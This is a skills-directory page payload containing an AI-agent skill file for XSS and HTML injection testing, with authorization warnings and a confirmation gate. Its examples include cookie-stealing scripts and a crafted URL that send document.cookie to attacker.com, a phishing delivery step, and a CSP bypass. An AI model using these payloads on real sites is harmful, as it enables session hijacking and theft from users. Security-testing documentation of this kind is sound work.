[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7EVJASJ4M5YVFVC4QFNNCFQ":3,"skill-same:01M7EVJASJ4M5YVFVC4QFNNCFQ":56},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":28,"commitSha":29,"skillDirectory":30,"forksCount":31,"repositoryHtmlUrl":32,"repositoryHomepageUrl":6,"ownerHtmlUrl":33,"ownerBlogUrl":6,"ownerDescription":34,"updatedAt":35,"install":36,"resources":49},"01M7EVJASJ4M5YVFVC4QFNNCFQ","xss-html-injection",null,"Execute comprehensive client-side injection vulnerability assessments on web applications to identify XSS and HTML injection flaws, demonstrate exploitation techniques for session hijacking and credential theft, and validate input sanitization and output encoding mechanisms.","lza6\u002FArmor-piercing-system-prompts","lza6","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F128880206?v=4","01M7EB3K7WPX5T28EJ2NVHE6EG","Chinese-tingfeng","01M7EB3K97E1KQ16QWKJMFNGX8",11,"MIT","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F04-安全渗透\u002Fxss-html-injection\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: xss-html-injection\ndescription: \"Execute comprehensive client-side injection vulnerability assessments on web applications to identify XSS and HTML injection flaws, demonstrate exploitation techniques for session hijacking and credential theft, and validate input sanitization and output encoding mechanisms.\"\nrisk: offensive\nsource: community\nauthor: zebbern\ndate_added: \"2026-02-27\"\n---\n\n> **⚠️ AUTHORIZED USE ONLY**\n> This skill is for educational purposes or authorized security assessments only.\n> You must have explicit, written permission from the system owner before using this tool.\n> Misuse of this tool is illegal and strictly prohibited.\n\n> **Mandatory confirmation gate**\n> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:\n> 1. Ask the user to state the exact target URL, IP, account, or resource.\n> 2. Ask the user to confirm written authorization and the permitted scope.\n> 3. Show the exact command(s) and explain their expected effect.\n> 4. Wait for explicit confirmation in the current conversation.\n>\n> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.\n\n> AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments.\n\n# Cross-Site Scripting and HTML Injection Testing\n\n## Detailed Guide\n\nRead [the detailed guide](references\u002Fdetailed-guide.md) before executing this skill. It retains the complete procedure and reference material. Treat its safety, prerequisites, and validation requirements as mandatory. For focused work, load the relevant sections; for end-to-end work, read the guide completely.\n\n## Constraints and Guardrails\n\n### Operational Boundaries\n- Never inject payloads that could damage production systems\n- Limit cookie\u002Fsession capture to demonstration purposes only\n- Avoid payloads that could spread to unintended users (worm behavior)\n- Do not exfiltrate real user data beyond scope requirements\n\n### Technical Limitations\n- Content Security Policy (CSP) may block inline scripts\n- HttpOnly cookies prevent JavaScript access\n- SameSite cookie attributes limit cross-origin attacks\n- Modern frameworks often auto-escape outputs\n\n### Legal and Ethical Requirements\n- Written authorization required before testing\n- Report critical XSS vulnerabilities immediately\n- Handle captured credentials per data protection agreements\n- Do not use discovered vulnerabilities for unauthorized access\n\n## Examples\n\n### Example 1: Stored XSS in Comment Section\n\n**Scenario**: Blog comment feature vulnerable to stored XSS\n\n**Detection**:\n```\nPOST \u002Fapi\u002Fcomments\nContent-Type: application\u002Fjson\n\n{\"body\": \"\u003Cscript>alert('XSS')\u003C\u002Fscript>\", \"postId\": 123}\n```\n\n**Observation**: Comment renders and script executes for all viewers\n\n**Exploitation Payload**:\n```html\n\u003Cscript>\nvar i = new Image();\ni.src = 'https:\u002F\u002Fattacker.com\u002Fsteal?cookie=' + encodeURIComponent(document.cookie);\n\u003C\u002Fscript>\n```\n\n**Result**: Every user viewing the comment has their session cookie sent to attacker's server.\n\n### Example 2: Reflected XSS via Search Parameter\n\n**Scenario**: Search results page reflects query without encoding\n\n**Vulnerable URL**:\n```\nhttps:\u002F\u002Fshop.example.com\u002Fsearch?q=test\n```\n\n**Detection Test**:\n```\nhttps:\u002F\u002Fshop.example.com\u002Fsearch?q=\u003Cscript>alert(document.domain)\u003C\u002Fscript>\n```\n\n**Crafted Attack URL**:\n```\nhttps:\u002F\u002Fshop.example.com\u002Fsearch?q=%3Cimg%20src=x%20onerror=%22fetch('https:\u002F\u002Fattacker.com\u002Flog?c='+document.cookie)%22%3E\n```\n\n**Delivery**: URL sent via phishing email to target user.\n\n### Example 3: DOM-Based XSS via Hash Fragment\n\n**Scenario**: JavaScript reads URL hash and inserts into DOM\n\n**Vulnerable Code**:\n```javascript\ndocument.getElementById('welcome').innerHTML = 'Hello, ' + location.hash.slice(1);\n```\n\n**Attack URL**:\n```\nhttps:\u002F\u002Fapp.example.com\u002Fdashboard#\u003Cimg src=x onerror=alert(document.cookie)>\n```\n\n**Result**: Script executes entirely client-side; payload never touches server.\n\n### Example 4: CSP Bypass via JSONP Endpoint\n\n**Scenario**: Site has CSP but allows trusted CDN\n\n**CSP Header**:\n```\nContent-Security-Policy: script-src 'self' https:\u002F\u002Fcdn.trusted.com\n```\n\n**Bypass**: Find JSONP endpoint on trusted domain:\n```html\n\u003Cscript src=\"https:\u002F\u002Fcdn.trusted.com\u002Fapi\u002Fjsonp?callback=alert\">\u003C\u002Fscript>\n```\n\n**Result**: CSP bypassed using allowed script source.\n\n## When to Use\nThis skill is applicable to execute the workflow or actions described in the overview.\n","> **⚠️ AUTHORIZED USE ONLY**\n> This skill is for educational purposes or authorized security assessments only.\n> You must have explicit, written permission from the system owner before using this tool.\n> Misuse of this tool is illegal and strictly prohibited.\n\n> **Mandatory confirmation gate**\n> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:\n> 1. Ask the user to state the exact target URL, IP, account, or resource.\n> 2. Ask the user to confirm written authorization and the permitted scope.\n> 3. Show the exact command(s) and explain their expected effect.\n> 4. Wait for explicit confirmation in the current conversation.\n>\n> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.\n\n> AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments.\n\n# Cross-Site Scripting and HTML Injection Testing\n\n## Detailed Guide\n\nRead [the detailed guide](references\u002Fdetailed-guide.md) before executing this skill. It retains the complete procedure and reference material. Treat its safety, prerequisites, and validation requirements as mandatory. For focused work, load the relevant sections; for end-to-end work, read the guide completely.\n\n## Constraints and Guardrails\n\n### Operational Boundaries\n- Never inject payloads that could damage production systems\n- Limit cookie\u002Fsession capture to demonstration purposes only\n- Avoid payloads that could spread to unintended users (worm behavior)\n- Do not exfiltrate real user data beyond scope requirements\n\n### Technical Limitations\n- Content Security Policy (CSP) may block inline scripts\n- HttpOnly cookies prevent JavaScript access\n- SameSite cookie attributes limit cross-origin attacks\n- Modern frameworks often auto-escape outputs\n\n### Legal and Ethical Requirements\n- Written authorization required before testing\n- Report critical XSS vulnerabilities immediately\n- Handle captured credentials per data protection agreements\n- Do not use discovered vulnerabilities for unauthorized access\n\n## Examples\n\n### Example 1: Stored XSS in Comment Section\n\n**Scenario**: Blog comment feature vulnerable to stored XSS\n\n**Detection**:\n```\nPOST \u002Fapi\u002Fcomments\nContent-Type: application\u002Fjson\n\n{\"body\": \"\u003Cscript>alert('XSS')\u003C\u002Fscript>\", \"postId\": 123}\n```\n\n**Observation**: Comment renders and script executes for all viewers\n\n**Exploitation Payload**:\n```html\n\u003Cscript>\nvar i = new Image();\ni.src = 'https:\u002F\u002Fattacker.com\u002Fsteal?cookie=' + encodeURIComponent(document.cookie);\n\u003C\u002Fscript>\n```\n\n**Result**: Every user viewing the comment has their session cookie sent to attacker's server.\n\n### Example 2: Reflected XSS via Search Parameter\n\n**Scenario**: Search results page reflects query without encoding\n\n**Vulnerable URL**:\n```\nhttps:\u002F\u002Fshop.example.com\u002Fsearch?q=test\n```\n\n**Detection Test**:\n```\nhttps:\u002F\u002Fshop.example.com\u002Fsearch?q=\u003Cscript>alert(document.domain)\u003C\u002Fscript>\n```\n\n**Crafted Attack URL**:\n```\nhttps:\u002F\u002Fshop.example.com\u002Fsearch?q=%3Cimg%20src=x%20onerror=%22fetch('https:\u002F\u002Fattacker.com\u002Flog?c='+document.cookie)%22%3E\n```\n\n**Delivery**: URL sent via phishing email to target user.\n\n### Example 3: DOM-Based XSS via Hash Fragment\n\n**Scenario**: JavaScript reads URL hash and inserts into DOM\n\n**Vulnerable Code**:\n```javascript\ndocument.getElementById('welcome').innerHTML = 'Hello, ' + location.hash.slice(1);\n```\n\n**Attack URL**:\n```\nhttps:\u002F\u002Fapp.example.com\u002Fdashboard#\u003Cimg src=x onerror=alert(document.cookie)>\n```\n\n**Result**: Script executes entirely client-side; payload never touches server.\n\n### Example 4: CSP Bypass via JSONP Endpoint\n\n**Scenario**: Site has CSP but allows trusted CDN\n\n**CSP Header**:\n```\nContent-Security-Policy: script-src 'self' https:\u002F\u002Fcdn.trusted.com\n```\n\n**Bypass**: Find JSONP endpoint on trusted domain:\n```html\n\u003Cscript src=\"https:\u002F\u002Fcdn.trusted.com\u002Fapi\u002Fjsonp?callback=alert\">\u003C\u002Fscript>\n```\n\n**Result**: CSP bypassed using allowed script source.\n\n## When to Use\nThis skill is applicable to execute the workflow or actions described in the overview.\n",{"name":5,"risk":24,"author":25,"source":26,"date_added":27,"description":7},"offensive","zebbern","community","2026-02-27","main","d69096e239f2a89aabc2cd078c47664a9d3b1e11","04-安全渗透\u002Fxss-html-injection",3,"https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts","https:\u002F\u002Fgithub.com\u002Flza6","个人vx：Tf00798\r\n个人✈：@TFGY999","2026-10-08 14:29:22",{"source":8,"skillName":5,"commands":37,"prompt":47,"zipAvailable":48},[38,41,44],{"tool":39,"command":40},"npx","npx skills add lza6\u002FArmor-piercing-system-prompts --skill xss-html-injection",{"tool":42,"command":43},"bunx","bunx skills add lza6\u002FArmor-piercing-system-prompts --skill xss-html-injection",{"tool":45,"command":46},"pnpm","pnpm dlx skills add lza6\u002FArmor-piercing-system-prompts --skill xss-html-injection","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F04-安全渗透\u002Fxss-html-injection\u002FSKILL.md",true,[50],{"path":51,"resourceType":52,"resourceTypeDesc":53,"sizeBytes":54,"sourceHtmlUrl":55},"references\u002Fdetailed-guide.md","REFERENCE","参考文档",10444,"https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F04-安全渗透\u002Fxss-html-injection\u002Freferences\u002Fdetailed-guide.md",[57,65,70,77,84,91],{"skillNo":58,"name":59,"nameZh":6,"description":60,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":61,"categories":62,"keywords":63,"publishedAt":64},"01M7FFG485KY83TD6HSC4YPCMC","obsidian-clipper-template-creator","Guide for creating templates for the Obsidian Web Clipper. Use when you want to create a new clipping template, understand available variables, or format clipped content.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobsidian-clipper-template-creator\u002FSKILL.md",[],[],"2026-11-16 10:05:34",{"skillNo":66,"name":59,"nameZh":6,"description":60,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":67,"categories":68,"keywords":69,"publishedAt":64},"01M7FFG0T6AZ0STEJPSB3CX84K","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobsidian-clipper-template-creator-antigravity-awesome-skills-main\u002FSKILL.md",[],[],{"skillNo":71,"name":72,"nameZh":6,"description":73,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":74,"categories":75,"keywords":76,"publishedAt":64},"01M7FFFY0QEM14SKWPDYGMXM2P","python-api","Programmatic Object-Detection-Metrics API guidance for BoundingBox, BoundingBoxes, Evaluator, enums, coordinate conversion, AP\u002FmAP semantics, and source-style import diagnostics.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobject-detection-metrics\u002Fsub-skills\u002Fpython-api\u002FSKILL.md",[],[],{"skillNo":78,"name":79,"nameZh":6,"description":80,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":81,"categories":82,"keywords":83,"publishedAt":64},"01M7FFFVZQZ2GJ0C0TGP7JHD20","file-evaluation","Folder-based PASCAL VOC AP\u002FmAP evaluation from ground-truth and detection text files.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobject-detection-metrics\u002Fsub-skills\u002Ffile-evaluation\u002FSKILL.md",[],[],{"skillNo":85,"name":86,"nameZh":6,"description":87,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":88,"categories":89,"keywords":90,"publishedAt":64},"01M7FFFSFNYSE77SJ6PE1CK2DA","object-detection-metrics","Guides legacy Object-Detection-Metrics PASCAL VOC AP\u002FmAP evaluation from detection text folders and direct Python API classes.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobject-detection-metrics\u002FSKILL.md",[],[],{"skillNo":92,"name":93,"nameZh":6,"description":94,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":95,"categories":96,"keywords":97,"publishedAt":64},"01M7FFFP0GCK1RVXBCPQ8APBMT","nx-workspace-patterns","Configure and optimize Nx monorepo workspaces. Use when setting up Nx, configuring project boundaries, optimizing build caching, or implementing affected commands.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fnx-workspace-patterns\u002FSKILL.md",[],[]]